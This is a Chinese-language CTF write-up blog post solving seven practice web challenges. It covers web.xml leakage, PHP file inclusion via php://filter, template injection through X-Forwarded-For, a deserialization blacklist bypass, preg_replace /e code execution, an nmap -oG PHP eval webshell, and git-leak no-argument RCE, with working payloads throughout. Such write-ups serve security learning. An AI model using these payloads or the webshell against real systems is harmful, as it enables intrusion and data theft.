首页 > 其他分享 >web_week3

web_week3

时间:2024-06-13 21:57:39浏览次数:11  
标签:web index flag 文件 func week3 php

web_week3

java web

[RoarCTF 2019]Easy Java

考点

Web.xml文件泄露:
漏洞描述: Web.xml是Java Web应用的配置文件,位于WEB-INF目录下,通常不应被直接从Web访问到。如果Web服务器配置不当,允许直接通过URL访问WEB-INF/web.xml,攻击者就能获取到该文件的内容。这本身构成了一种信息泄露漏洞,因为web.xml可能包含了敏感信息,如数据库连接字符串、过滤器配置、servlet映射等。

知识点:

Java web目录结构
WEB-INF主要包含一下文件或目录:
    /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    /WEB-INF/database.properties:数据库配置文件
    
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

解题过程:

step1:
看到登录界面,尝试了下弱口令,万能密码,sql,都不是,注意到到这里有help键点了都是报java.io.FileNotFoundException:{null},注意到url?filename=这里是GET,尝试一下POST filename=help.docx 所以注入点是在这
step2:
Java web 试一下可以直接访问/WEB-INF/web.xml,得到一个xml文件,打开看到一些配置文件信息,看到了
    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>
 “这段配置告诉Web容器(如Tomcat)有两个关键信息:一是存在一个名为FlagController的Servlet,它的实际类是com.wm.ctf.FlagController;二是所有路径以/Flag结尾的HTTP请求应该由这个Servlet来处理。”
step3:
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
得到一个class文件,
可以用jd-gui反编译看到base64加密的flag
也可以用文本查看器打开,在FlagController后看到ZmxhZ3s5YWE3OTBlZi0wNjM4LTQzOGUtOTIzNC04MmZkYTBjMGQxNjR9Cg==
解码就是答案

文件包含

[BSidesCF 2020]Had a bad day

考点

文件包含

知识点

php伪协议
目录穿越

解题过程

  
  step1:
打开界面,没看到什么信息,扫目录也没东西,然后看到url?category=xxx,我尝试?category=woofers'有报错
Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
然后看到include()就是想到文件包含漏洞
step2:
使用php://filter/伪协议读取源码?category=php://filter/convert.base64-encode/resource=index(一开始是的index.php,但是报错)
然后得到的base64解码得到:
   <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
看到要去参数里一定要有woofers meowers index
step3:
不可以直接读取flag,于是我们使用目录穿越
?category=php://filter/convert.base64-encode/resource=index../../flag
得到的base64解码就得到了

模板注入

[BJDCTF2020]The mystery of ip

考点

模板注入

解题过程

step1:
打开有三个界面,index.php/flag.php/hint.php,hint和index没什么用,直接看flag.php页面显示:Your IP is : 127.0.0.1 ,就想到了XFF
step2:
f12打开hackbar修改xff,改成1,页面显示1,试下ls /,是直接回显在上面的,没有处理这个命令,试下模板注入{{ls /}}执行了
step3:
{{ls /}}  {{cat /flag}}

PHP

[网鼎杯 2020 朱雀组]phpweb

考点:

利用反序列化绕过
代码审计

解题过程:

step1:
看到页面老是过几秒刷新一次,于是抓个包看看,看到了func=date&p=Y-m-d+h%3Ai%3As+a
这里是func应该是函数后面的p应该是函数要执行的内容,直接试一下func=system&p=ls /;出现Hacker;应该是被过滤了
step2:
查看源码:func=file_get_contents&p=index.php 拿到源码如下:
<?php
   //黑名单
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
   //接收一个函数和一个参数
   function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    //一个Test
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    //接受用户的值
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
    //检查func是否为空,统一成小写,以及是否在黑名单里面
    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
step3:
既然不能用system还有别的一些命令执行函数,看到Test就想到了反序列化,用它来绕过黑名单
<?php
class Test {

public $p = "ls /";
public $func = "system";
}
$a=new Test();
$b=serialize($a);
echo $b;
?>
func=unserialize&p=$b;
没看到和flag相关的名字
public $p="find / -name flag*"
找到
然后:
public $p = "cat /tmp/flagoefiu4r93"
ps:这里要注意空格

RCE

[BJDCTF2020]ZJCTF不过如此

考点:

代码审计
php伪协议
rce

知识点:

*·正则表达式/ei匹配存在命令执行,可直接套用plyload:?\S*=${目标函数()},按题目替换下即可执行任意命令

解题过程:

step1:
代码审计,第一步,要求传入I have a dream文件里也要有,用data伪协议写进去
第二步是要读取网页这里过滤了flag,注意注释里有next.php我们用php://读取文件内容
text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
得到一串base64解码得到
step2:审代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
//这里存在漏洞
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}
step3: 
/next.php?\s*=${getFlag()}&cmd=sysytem('ls /');
/next.php?\s*=${getFlag()}&cmd=sysytem('cat /flag');

PHP RCE

[BUUCTF 2018]Online Tool

考点:

nmap 写文件
escapeshellarg和escapeshellcmd函数

解题过程:

源码:
<?php

// 检查是否存在HTTP_X_FORWARDED_FOR头部,这通常发生在请求经过代理服务器时。
// 如果存在,则将REMOTE_ADDR(客户端IP)设置为HTTP_X_FORWARDED_FOR的值,以反映代理服务器之前的客户端IP。
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

// 判断GET请求中是否包含了'host'参数。
if(!isset($_GET['host'])) {
    // 如果没有'host'参数,使用highlight_file()函数高亮显示当前脚本的源代码。
    highlight_file(__FILE__); 
} else {
    // 获取GET请求中的'host'参数值。
    $host = $_GET['host'];
    
    // 使用escapeshellarg()函数为命令行参数添加引号并转义特殊字符,以防止命令注入。
    $host = escapeshellarg($host);
    
    // 使用escapeshellcmd()进一步转义命令中的特殊字符,增加安全性。
    $host = escapeshellcmd($host);
    
    // 生成一个基于固定字符串"glzjin"和客户端IP地址的MD5哈希值,作为沙盒目录的名称。
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    
    // 输出用户所在的沙盒环境标识。
    echo 'you are in sandbox '.$sandbox;
    
    // 尝试创建以$andbox命名的目录,@符号用于抑制mkdir函数可能产生的错误警告。
    @mkdir($sandbox);
    
    // 改变当前工作目录到刚创建的沙盒目录。
    chdir($sandbox);
    
    // 执行nmap命令,对$host进行快速端口扫描(-T5表示快速扫描,-sT表示TCP连接扫描,-Pn表示不进行主机存活探测,
    // --host-timeout 2设置超时为2秒,-F表示快速扫描,仅扫描前100个最常用的端口)。
    // 然后输出nmap扫描结果。
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
step1:
这里可以进行GET传参,但是由于escapeshellarg($host);escapeshellcmd($host);所有传入的命令都会被加上'',命令也会无效
step2:
注意到nmap,nmap -oG可以写文件,于是想到写木马进去连接后台
payload:
?host='<?php eval($_POST["666"]);?> -oG 1.php'
step3:
http://4b6c2980-a670-4d88-aea5-4c30632ad44f.node5.buuoj.cn:81/68ce73a49650737798e6260a605e9396/1.php
使用蚁剑连接后台查看flag

GIT源码泄露

[GXYCTF2019]禁止套娃

考点

1.githack
2.无参数RCE

解题过程:

step1:
进入并没有收集到有用信息,扫目录看一下,看到一些git信息,在/.git/COMMIT_EDITMSG看到有index.php和flag.php
step2:
想办法拿到index源码,就用到一个工具,GitHack
python GitHack.py http://fb2a7fff-542e-44fb-81d9-23d9f2e27e13.node5.buuoj.cn:81/.git
下载源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    //不让用php伪协议
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        // 这段正则尝试匹配并移除所有形如函数名(可选递归)(参数)的结构,如果最终结果仅为分号(';'),
        // 表明原始输入可能只包含一个或多个函数调用且无其他字符,进入下一步检查。
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            // 排除某些敏感函数或关键词,这些可能被用于获取系统信息或执行进一步的代码操作,
            // 如et(可能指eval),na(可能指assert),info(phpinfo),dec/bin/hex/oct转换,pi/log数学函数等。
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

step3:
无参数RCE于是构造
payload:
?exp=var_dump(scandir(current(localeconv())));
回显:
array(3) { [0]=> string(4) ".git" [1]=> string(8) "flag.php" [2]=> string(9) "index.php" } 
我们要读取flag.php,因为flag在倒数第二个位置,所以反转数组,在移动指针到下一个即可
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

标签:web,index,flag,文件,func,week3,php
From: https://www.cnblogs.com/dleyi/p/18246813

相关文章

  • Vulhub WebLogic漏洞复现
    目录前言任意文件上传漏洞(CVE-2018-2894)管理控制台未授权RCE漏洞(CVE-2020-14882&CVE-2020-14883)未授权RCE漏洞(CVE-2023-21839)SSRF漏洞(CVE-2014-4210)前言前面两篇针对WebLogic存在的XMLDecoder和T3协议反序列化漏洞进行了分析和复现,这里继续借助vulhub来复现WebLogic的其他漏洞......
  • 网站_域名_DNS_端口_web访问过程
    网站基本概念服务器:能够提供服务器的机器,取决于机器上所安装的服务软件web服务器:提供web服务(网站访问),需要安装web服务软件,Apache,tomcat,iis等域名(DomainName)方便人记的DNS(DomainNameSystem)域名系统,一个分布式数据库,让ip和域名相互映射让你不用记ip先找本地DNS,再找网......
  • 6.12Web应用漏洞发现探针利用
    已知CMS、开发框架、思路:各个页面查看数据包(地址信息),查看框架,上fofa关键字搜索(查看其框架信息如thinkhphp),利用检测工具测试漏洞情况;网站根目录下的robots.txt文件信息;/data/admin/ver.txt网站升级时间;常见SQL注入、登录、逻辑越权支付逻辑绕过思路:#https://blog.csdn.ne......
  • Haproxy搭建Web群集
    目录1.Haproxy相关概念1.1Haproxy的概述1.2Haproxy的主要特性1.3常见的Web集群调度器2.应用分析2.1LVS应用2.2Haproxy应用2.3LVS、Nginx、Haproxy的区别2.4Haproxy调度算法原理3.Haproxy搭建web群集3.1初始化操作3.2编译安装Haproxy3.3配置Haproxy......
  • 【java计算机毕设】图书管理系统javaweb java MySQL springboot vue html maven送文档
    1项目功能【java计算机专业学长毕业设计分享】智慧图书管理系统JavaSpringBootvueHTMLMySQL前后端分离2项目介绍系统功能:智慧图书管理系统包括管理员和用户两种角色。管理员的功能包括在个人中心修改个人信息和密码,管理员功能模块管理管理员。基础数据管理模......
  • webman admin 中的 Layui 使用说明
    目录Layui背景生命周期底层方法通用Common模块化相关Modular事件Event模块系统入门Layui模块系统与vue模块的区别理解layui.use代码解释Layui背景Layui是一个上古框架,jQuery时代末期Vue初期的作品,早期因为layout.js弹出层起家,在作者的努力下,成体系的开发了一套常......
  • stable-diffusion-webui 环境配置
    链接:AUTOMATIC1111/stable-diffusion-webui:StableDiffusionwebUI(github.com)查看python版本:   安装完python之后,打开工程,配置虚拟环境 下载安装对应的依赖库,其中的torch相关三个库选择与自己cuda相关的版本安装,我的pytorch选的是2.1.2,下载网址:download.pytorch.o......
  • 【最新鸿蒙应用开发】——ArkWeb2——arkts与h5交互
    H5与端侧交互1.应用侧调用前端页面函数应用侧可以通过runJavaScript()方法调用前端页面的JavaScript相关函数。在下面的示例中,点击应用侧的“runJavaScript”按钮时,来触发前端页面的htmlTest()方法。前端页面代码。<!--index.html--><!DOCTYPEhtml><html><body>......
  • Web--CSS基础
    文章目录定义方式选择器文本字体背景边框元素展示格式内边距与外边距盒子模型位置浮动flex布局响应式布局定义方式行内样式表直接定义在style属性中,作用于当前标签<imgsrc="/imges/logo.jpg"alt=""style="width=400">内部样式表定义在style标签中......
  • JsSIP+FreeSwitch+Vue实现WebRtc音视频通话
    效果让同事帮我测的,在两个电脑分别打开该页面,一个注册1007分机号,另一个注册1005,然后拨打视频电话依赖版本jssip:3.6.1freeswitch:1.10.5-release~64bitvue:2.6.12488错误解决在freeswitch配置文件sip_profiles/internal.xml中添加:<paramname="apply-can......